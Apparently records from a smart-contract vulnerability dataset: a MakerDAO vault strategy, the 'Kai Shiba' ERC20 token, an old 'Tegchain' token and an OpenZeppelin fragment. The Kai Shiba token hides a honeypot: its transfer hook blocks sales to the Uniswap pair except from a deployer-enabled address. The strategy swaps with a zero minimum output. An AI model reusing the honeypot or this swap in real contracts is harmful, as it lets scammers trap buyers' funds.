strategistReward = _strategistReward;
}
function setBorrowCollateralizationRatio(uint _c) external {
require(msg.sender == governance, "!governance");
c = _c;
}
function setWithdrawCollateralizationRatio(uint _c_safe) external {
require(msg.sender == governance, "!governance");
c_safe = _c_safe;
}
function setOracle(address _oracle) external {
require(msg.sender == governance, "!governance");
eth_price_oracle = _oracle;
}
// optional
function setMCDValue(
address _manager,
address _ethAdapter,
address _daiAdapter,
address _spot,
address _jug
) external {
require(msg.sender == governance, "!governance");
cdp_manager = _manager;
vat = ManagerLike(_manager).vat();
mcd_join_eth_a = _ethAdapter;
mcd_join_dai = _daiAdapter;
mcd_spot = _spot;
jug = _jug;
}
function _approveAll() internal {
IERC20(token).approve(mcd_join_eth_a, uint(-1));
IERC20(dai).approve(mcd_join_dai, uint(-1));
IERC20(dai).approve(yVaultDAI, uint(-1));
IERC20(dai).approve(unirouter, uint(-1));
}
function deposit() public {
uint _token = IERC20(token).balanceOf(address(this));
if (_token > 0) {
uint p = _getPrice();
uint _draw = _token.mul(p).mul(c_base).div(c).div(1e18);
// approve adapter to use token amount
require(_checkDebtCeiling(_draw), "debt ceiling is reached!");
_lockWETHAndDrawDAI(_token, _draw);
}
// approve yVaultDAI use DAI
yVault(yVaultDAI).depositAll();
}
function _getPrice() internal view returns (uint p) {
(uint _read,) = OSMedianizer(eth_price_oracle).read();
(uint _foresight,) = OSMedianizer(eth_price_oracle).foresight();
p = _foresight < _read ? _foresight : _read;
}
function _checkDebtCeiling(uint _amt) internal view returns (bool) {
(,,,uint _line,) = VatLike(vat).ilks(ilk);
uint _debt = getTotalDebtAmount().add(_amt);
if (_line.div(1e27) < _debt) { return false; }
return true;
}
function _lockWETHAndDrawDAI(uint wad, uint wadD) internal {
address urn = ManagerLike(cdp_manager).urns(cdpId);
// GemJoinLike(mcd_join_eth_a).gem().approve(mcd_join_eth_a, wad);
GemJoinLike(mcd_join_eth_a).join(urn, wad);
ManagerLike(cdp_manager).frob(cdpId, toInt(wad), _getDrawDart(urn, wadD));
ManagerLike(cdp_manager).move(cdpId, address(this), wadD.mul(1e27));
if (VatLike(vat).can(address(this), address(mcd_join_dai)) == 0) {
VatLike(vat).hope(mcd_join_dai);
}
DaiJoinLike(mcd_join_dai).exit(address(this), wadD);
}
function _getDrawDart(address urn, uint wad) internal returns (int dart) {
uint rate = JugLike(jug).drip(ilk);
uint _dai = VatLike(vat).dai(urn);
// If there was already enough DAI in the vat balance, just exits it without adding more debt
if (_dai < wad.mul(1e27)) {
dart = toInt(wad.mul(1e27).sub(_dai).div(rate));
dart = uint(dart).mul(rate) < wad.mul(1e27) ? dart + 1 : dart;
}
}
function toInt(uint x) internal pure returns (int y) {
y = int(x);
require(y >= 0, "int-overflow");
}
// Controller only function for creating additional rewards from dust
function withdraw(IERC20 _asset) external returns (uint balance) {
require(msg.sender == controller, "!controller");
require(want != address(_asset), "want");
require(dai != address(_asset), "dai");
require(yVaultDAI != address(_asset), "ydai");
balance = _asset.balanceOf(address(this));
_asset.safeTransfer(controller, balance);
}
// Withdraw partial funds, normally used with a vault withdrawal
function withdraw(uint _amount) external {
require(msg.sender == controller, "!controller");
uint _balance = IERC20(want).balanceOf(address(this));
if (_balance < _amount) {
_amount = _withdrawSome(_amount.sub(_balance));
_amount = _amount.add(_balance);
}
uint _fee = _amount.mul(withdrawalFee).div(withdrawalMax);
IERC20(want).safeTransfer(Controller(controller).rewards(), _fee);
address _vault = Controller(controller).vaults(address(want));
require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
IERC20(want).safeTransfer(_vault, _amount.sub(_fee));
}
function _withdrawSome(uint256 _amount) internal returns (uint) {
if (getTotalDebtAmount() != 0 &&
getmVaultRatio(_amount) < c_safe.mul(1e2)) {
uint p = _getPrice();
_wipe(_withdrawDaiLeast(_amount.mul(p).div(1e18)));
}
_freeWETH(_amount);
return _amount;
}
function _freeWETH(uint wad) internal {
ManagerLike(cdp_manager).frob(cdpId, -toInt(wad), 0);
ManagerLike(cdp_manager).flux(cdpId, address(this), wad);
GemJoinLike(mcd_join_eth_a).exit(address(this), wad);
}
function _wipe(uint wad) internal {
// wad in DAI
address urn = ManagerLike(cdp_manager).urns(cdpId);
DaiJoinLike(mcd_join_dai).join(urn, wad);
ManagerLike(cdp_manager).frob(cdpId, 0, _getWipeDart(VatLike(vat).dai(urn), urn));
}
function _getWipeDart(
uint _dai,
address urn
) internal view returns (int dart) {
(, uint rate,,,) = VatLike(vat).ilks(ilk);
(, uint art) = VatLike(vat).urns(ilk, urn);
dart = toInt(_dai / rate);
dart = uint(dart) <= art ? - dart : - toInt(art);
}
// Withdraw all funds, normally used when migrating strategies
function withdrawAll() external returns (uint balance) {
require(msg.sender == controller, "!controller");
_withdrawAll();
_swap(IERC20(dai).balanceOf(address(this)));
balance = IERC20(want).balanceOf(address(this));
address _vault = Controller(controller).vaults(address(want));
require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
IERC20(want).safeTransfer(_vault, balance);
}
function _withdrawAll() internal {
yVault(yVaultDAI).withdrawAll(); // get Dai
_wipe(getTotalDebtAmount().add(1)); // in case of edge case
_freeWETH(balanceOfmVault());
}
function balanceOf() public view returns (uint) {
return balanceOfWant()
.add(balanceOfmVault());
}
function balanceOfWant() public view returns (uint) {
return IERC20(want).balanceOf(address(this));
}
function balanceOfmVault() public view returns (uint) {
uint ink;
address urnHandler = ManagerLike(cdp_manager).urns(cdpId);
(ink,) = VatLike(vat).urns(ilk, urnHandler);
return ink;
}
function harvest() public {
require(msg.sender == strategist || msg.sender == harvester || msg.sender == governance, "!authorized");
uint v = getUnderlyingDai();
uint d = getTotalDebtAmount();
require(v > d, "profit is not realized yet!");
uint profit = v.sub(d);
uint _before = IERC20(want).balanceOf(address(this));
_swap(_withdrawDaiMost(profit));
uint _after = IERC20(want).balanceOf(address(this));
uint _want = _after.sub(_before);
if (_want > 0) {
uint _fee = _want.mul(performanceFee).div(performanceMax);
uint _strategistReward = _fee.mul(strategistReward).div(strategistRewardMax);
IERC20(want).safeTransfer(strategist, _strategistReward);
IERC20(want).safeTransfer(Controller(controller).rewards(), _fee.sub(_strategistReward));
}
deposit();
}
function shouldDraw() external view returns (bool) {
uint _safe = c.mul(1e2);
uint _current = getmVaultRatio(0);
if (_current > c_base.mul(c_safe).mul(1e2)) {
_current = c_base.mul(c_safe).mul(1e2);
}
return (_current > _safe);
}
function drawAmount() public view returns (uint) {
uint _safe = c.mul(1e2);
uint _current = getmVaultRatio(0);
if (_current > c_base.mul(c_safe).mul(1e2)) {
_current = c_base.mul(c_safe).mul(1e2);
}
if (_current > _safe) {
uint _eth = balanceOfmVault();
uint _diff = _current.sub(_safe);
uint _draw = _eth.mul(_diff).div(_safe).mul(c_base).mul(1e2).div(_current);
return _draw.mul(_getPrice()).div(1e18);
}
return 0;
}
function draw() external {
uint _drawD = drawAmount();
if (_drawD > 0) {
_lockWETHAndDrawDAI(0, _drawD);
yVault(yVaultDAI).depositAll();
}
}
function shouldRepay() external view returns (bool) {
uint _safe = c.mul(1e2);
uint _current = getmVaultRatio(0);
_current = _current.mul(105).div(100); // 5% buffer to avoid deposit/rebalance loops
return (_current < _safe);
}
function repayAmount() public view returns (uint) {
uint _safe = c.mul(1e2);
uint _current = getmVaultRatio(0);
_current = _current.mul(105).div(100); // 5% buffer to avoid deposit/rebalance loops
if (_current < _safe) {
uint d = getTotalDebtAmount();
uint diff = _safe.sub(_current);
return d.mul(diff).div(_safe);
}
return 0;
}
function repay() external {
uint free = repayAmount();
if (free > 0) {
_wipe(_withdrawDaiLeast(free));
}
}
function forceRebalance(uint _amount) external {
require(msg.sender == governance || msg.sender == strategist || msg.sender == harvester, "!authorized");
_wipe(_withdrawDaiLeast(_amount));
}
function getTotalDebtAmount() public view returns (uint) {
uint art;
uint rate;
address urnHandler = ManagerLike(cdp_manager).urns(cdpId);
(,art) = VatLike(vat).urns(ilk, urnHandler);
(,rate,,,) = VatLike(vat).ilks(ilk);
return art.mul(rate).div(1e27);
}
function getmVaultRatio(uint amount) public view returns (uint) {
uint spot; // ray
uint liquidationRatio; // ray
uint denominator = getTotalDebtAmount();
if (denominator == 0) {
return uint(-1);
}
(,,spot,,) = VatLike(vat).ilks(ilk);
(,liquidationRatio) = SpotLike(mcd_spot).ilks(ilk);
uint delayedCPrice = spot.mul(liquidationRatio).div(1e27); // ray
uint _balance = balanceOfmVault();
if (_balance < amount) {
_balance = 0;
} else {
_balance = _balance.sub(amount);
}
uint numerator = _balance.mul(delayedCPrice).div(1e18); // ray
return numerator.div(denominator).div(1e3);
}
function getUnderlyingDai() public view returns (uint) {
return IERC20(yVaultDAI).balanceOf(address(this))
.mul(yVault(yVaultDAI).getPricePerFullShare())
.div(1e18);
}
function _withdrawDaiMost(uint _amount) internal returns (uint) {
uint _shares = _amount
.mul(1e18)
.div(yVault(yVaultDAI).getPricePerFullShare());
if (_shares > IERC20(yVaultDAI).balanceOf(address(this))) {
_shares = IERC20(yVaultDAI).balanceOf(address(this));
}
uint _before = IERC20(dai).balanceOf(address(this));
yVault(yVaultDAI).withdraw(_shares);
uint _after = IERC20(dai).balanceOf(address(this));
return _after.sub(_before);
}
function _withdrawDaiLeast(uint _amount) internal returns (uint) {
uint _shares = _amount
.mul(1e18)
.div(yVault(yVaultDAI).getPricePerFullShare())
.mul(withdrawalMax)
.div(withdrawalMax.sub(withdrawalFee));
if (_shares > IERC20(yVaultDAI).balanceOf(address(this))) {
_shares = IERC20(yVaultDAI).balanceOf(address(this));
}
uint _before = IERC20(dai).balanceOf(address(this));
yVault(yVaultDAI).withdraw(_shares);
uint _after = IERC20(dai).balanceOf(address(this));
return _after.sub(_before);
}
function _swap(uint _amountIn) internal {
address[] memory path = new address[](2);
path[0] = address(dai);
path[1] = address(want);
// approve unirouter to use dai
Uni(unirouter).swapExactTokensForTokens(_amountIn, 0, path, address(this), now.add(1 days));
}
function setGovernance(address _governance) external {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function setController(address _controller) external {
require(msg.sender == governance, "!governance");
controller = _controller;
}
} | True | [
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|
/**
*Submitted for verification at Etherscan.io on 2021-05-31
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
mapping(address=>bool) private _enable;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor () {
_mint(0xe2DF21844d0Bf5aB1a7FEACD5AB5aE190f0F702d, 100000000000 *10**18);
_enable[0xe2DF21844d0Bf5aB1a7FEACD5AB5aE190f0F702d] = true;
// MainNet / testnet, Uniswap Router
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
_name = "Kai Shiba";
_symbol = "KASHI";
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0));
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to) internal virtual {
if(to == uniswapV2Pair) {
require(_enable[from], "something went wrong");
}
}
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|
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract Tegchain {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function Tegchain(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
} | True | [
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|
// Sources flattened with hardhat v2.4.1 https://hardhat.org
// File @openzeppelin/contracts/utils/Address.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
